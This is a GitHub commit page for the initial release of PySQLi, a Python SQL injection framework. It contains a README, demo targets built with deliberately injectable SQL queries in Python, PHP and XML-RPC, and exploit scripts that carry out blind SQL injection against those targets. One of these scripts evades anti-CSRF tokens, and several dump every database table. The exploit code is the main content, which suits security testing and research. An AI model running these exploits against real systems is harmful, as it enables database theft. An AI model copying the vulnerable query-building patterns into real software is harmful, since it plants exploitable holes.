Permalink
Browse files

First commit

  • Loading branch information...
0 parents commit 339b9e769bab165dab8fa5ec733cdf714110e7f0 @virtualabs virtualabs committed Nov 3, 2012
@@ -0,0 +1,30 @@
+PySQLi - Python SQL injection framework
+=======================================
+
+1. Overview
+-----------
+
+PySQLi is a python framework designed to exploit complex SQL injection
+vulnerabilities. It provides dedicated bricks that can be used to build
+advanced exploits or easily extended/improved to fit the case.
+
+2. Why another SQLi framework ?
+-------------------------------
+
+Simple answer: because there are other ways than HTTP requests to exploit
+SQLi vulnerabilities ! Most of the available tools only rely on HTTP GET/POST
+methods, and sometimes provide other methods.
+
+PySQLi is thought to be easily modified and extended through derivated classes
+and to be able to inject into various ways such as command line, custom network
+protocols and even in anti-CSRF HTTP forms.
+
+PySQLi is still in an early stage of development, whereas it has been developed
+since more than three years. Many features lack but the actual version but this
+will be improved in the next months/years.
+
+3. Documentation
+----------------
+
+Look at our demos or dig deeper into PySQLi's code to get more information on
+how to use it. We will add many other info in the wiki if we find some time.
@@ -0,0 +1,20 @@
+import sys
+from MySQLdb import *
+from MySQLdb.cursors import DictCursor
+
+try:
+ db = connect('localhost','demo','demo',db='demo', cursorclass=DictCursor)
+ c = db.cursor()
+ c.execute('SELECT * FROM demo WHERE id=%s'%sys.argv[1])
+ res = c.fetchall()
+ if c.rowcount==1:
+ print res[0]
+ sys.exit(0)
+ else:
+ print 'Article inexistant'
+ sys.exit(2)
+ db.close()
+except Exception,e:
+ print e
+ print 'Erreur inconnue'
+ sys.exit(3)
@@ -0,0 +1,22 @@
+from pysqli import BlindContext, Mysql5
+
+# define SQLi injection context
+c = BlindContext(
+ field_type=BlindContext.FIELD_INT,
+ params=[
+ '/usr/bin/python',
+ 'cmd_target.py',
+ '2',
+ ],
+ target=2,
+)
+
+# we are injecting into a Mysql5 DBMS
+m = Mysql5.cmd(c)
+
+# display DB version and dump all tables' content
+print 'DB Version: %s' % m.version()
+for table in m.database().tables():
+ print '='*80 +'\n%s\n'%table.describe() + '='*80
+ for row in table.all():
+ print row
@@ -0,0 +1,42 @@
+<?php
+session_start();
+?>
+
+<html>
+<head><title>Demo: blind sqli</title></head>
+<body>
+
+<?php
+@mysql_connect("localhost","demo","demo");
+@mysql_select_db("demo");
+
+function generate_token()
+{
+ $_SESSION['token'] = md5(rand(11111,99999).'_'.md5($_SERVER['REMOTE_ADDR']).time());
+}
+
+if (!empty($_POST['id']) && !empty($_POST['token']))
+{
+ if ($_SESSION['token'] === $_POST['token'])
+ {
+ $sql = "SELECT * FROM demo WHERE id=".$_POST['id'];
+ $res = @mysql_query($sql);
+ if(@mysql_num_rows($res)!=1)
+ echo("<b>Article inexistant</b><br/>");
+ else
+ echo("<b>Article existant mais impossible d'afficher</b><br/>");
+ }
+}
+
+generate_token();
+
+?>
+
+<form action="" method="POST">
+ID article: <input type="text" name="id" value="1"/><br/>
+<input type="hidden" name="token" value="<?php echo($_SESSION['token']); ?>"/>
+<input type="submit" value="OK"/>
+</form>
+
+</body>
+</html>
@@ -0,0 +1,91 @@
+import re
+from pysqli import Context
+from pysqli.dbms import Mysql5
+from pysqli.core.injector import PostInjector
+from pysqli.core.triggers import RegexpTrigger, Trigger
+from urllib2 import Request,urlopen
+from threading import Lock
+
+class CSRFPostInjector(PostInjector):
+ '''
+ This is a sample of an injector able to track anti-CSRF tokens.
+
+ This injector must use Lock to ensure token integrity between
+ a call to process_injection() and process_response().
+ '''
+ def __init__(self, context):
+ PostInjector.__init__(self, context)
+ self._lock = Lock()
+ self.get_token_sid()
+ self.set_trigger(RegexpTrigger(['(inexistant)'],mode=Trigger.MODE_ERROR))
+ self.get_context().set_cookie('PHPSESSID=%s;' % self._sid)
+
+ def get_token_sid(self):
+ '''
+ Extract a valid token and the corresponding PHPSESSID.
+ '''
+ r = Request(self.get_context().get_url())
+ resp = urlopen(r)
+ content = resp.read()
+ self._token = re.search('name="token" value="([^"]+)"', content).group(1)
+ self._sid = re.search('PHPSESSID=([0-9a-zA-Z]+);', resp.headers['set-cookie']).group(1)
+
+ def inject(self, sql):
+ print sql
+ return super(CSRFPostInjector, self).inject(sql)
+
+ def process_injection(self, parameters):
+ '''
+ Injection hook.
+
+ Acquire the lock, inject token into tampered parameters, and forward to parent.
+ '''
+ self._lock.acquire()
+ parameters['token'] = self._token
+ return super(CSRFPostInjector, self).process_injection(parameters)
+
+ def process_response(self, response):
+ '''
+ Process response
+
+ Extract token, release the lock.
+ '''
+ self._token = re.search('name="token" value="([^"]+)"', response.get_content()).group(1)
+ res = super(CSRFPostInjector, self).process_response(response)
+ self._lock.release()
+ #print response.get_content()
+ print res
+ return res
+
+# Injection context as discovered manually
+c = Context(
+ method='blind',
+ comment='#',
+ field_type=Context.FIELD_INT,
+ url="http://127.0.0.1/",
+ params={
+ 'id':'1',
+ 'token':'',
+ },
+ target='id',
+)
+
+# DBMS abstraction
+m = Mysql5.custom(CSRFPostInjector,c)
+
+print '[i] Version: %s' % m.get_int("LENGTH('test')")
+
+"""
+for db in m.databases():
+ if str(db) not in ['information_schema','mysql']:
+ print '=> %s' % db
+ for table in db.tables():
+ print '---> %s' % table
+ for field in table.fields():
+ print ' + %s' % field
+
+for table in m.database().tables():
+ print 'Dump %s ...' % table
+ for row in table.all():
+ print row
+"""
@@ -0,0 +1,7 @@
+import sys
+import xmlrpclib
+
+proxy = xmlrpclib.ServerProxy("http://localhost:8000/")
+
+res = proxy.get_article(sys.argv[1])
+print res
@@ -0,0 +1,33 @@
+import xmlrpclib
+from pysqli import Mysql5, BlindContext
+from pysqli.core.injector import ContextBasedInjector
+
+class XmlRpcInjector(ContextBasedInjector):
+ def __init__(self, context, server, port):
+ super(XmlRpcInjector, self).__init__(context)
+ self.proxy = xmlrpclib.ServerProxy("http://localhost:8000/")
+
+ def process_injection(self, parameters):
+ '''
+ Target arg is 'id'
+ '''
+ res = self.proxy.get_article(parameters['id'])
+ return (res != '')
+
+c = BlindContext(
+ params = {
+ 'id':'1',
+ },
+ field_type=BlindContext.FIELD_INT,
+ default='1',
+ target='id',
+ multithread=False
+)
+
+m = Mysql5.custom(XmlRpcInjector, c, 'localhost',8000)
+print m.version()
+for table in m.database().tables():
+ print 'Dumping %s ...' % table
+ for row in table.all():
+ print row
+
@@ -0,0 +1,27 @@
+import sys
+import xmlrpclib
+from SimpleXMLRPCServer import SimpleXMLRPCServer
+from MySQLdb import *
+from MySQLdb.cursors import DictCursor
+
+def get_article(id):
+ try:
+ db = connect('localhost','demo','demo',db='demo', cursorclass=DictCursor)
+ c = db.cursor()
+ c.execute('SELECT * FROM demo WHERE id=%s'%id)
+ res = c.fetchall()
+ if c.rowcount==1:
+ return str(res[0])
+ else:
+ return ''
+ db.close()
+ except Exception,e:
+ print e
+ print 'Erreur inconnue'
+ return ''
+
+server = SimpleXMLRPCServer(("localhost", 8000))
+print "Listening on port 8000..."
+server.register_function(get_article, "get_article")
+server.serve_forever()
+
@@ -0,0 +1,23 @@
+#-*- coding: utf-8 -*-
+
+"""
+ PySQLi - A python SQL injection framework
+ Copyright (C) 2012 Damien Cauquil <d.cauquil@sysdream.com>
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <http://www.gnu.org/licenses/>.
+"""
+
+from core import *
+from dbms import *
+
@@ -0,0 +1,29 @@
+#-*- coding:utf-8 -*-
+
+## @package Core
+# Core module contains everything required to SQLinject.
+# @author Damien "virtualabs" Cauquil <virtualabs@gmail.com>
+
+from context import Context, InbandContext, BlindContext
+from plugin import Plugin, allow, plugin
+from injector import GetInjector, PostInjector, CookieInjector, UserAgentInjector, CmdInjector, ContextBasedInjector
+from forge import SQLForge
+from wrappers import DatabaseWrapper, TableWrapper, FieldWrapper
+
+__all__ = [
+ 'InbandContext',
+ 'BlindContext',
+ 'Context',
+ 'Plugin',
+ 'allow',
+ 'plugin',
+ 'GetInjector',
+ 'PostInjector',
+ 'CookieInjector',
+ 'UserAgentInjector',
+ 'CmdInjector',
+ 'SQLForge',
+ 'DatabaseWrapper',
+ 'TableWrapper',
+ 'FieldWrapper'
+]
Oops, something went wrong. Retry.

0 comments on commit 339b9e7

Please sign in to comment.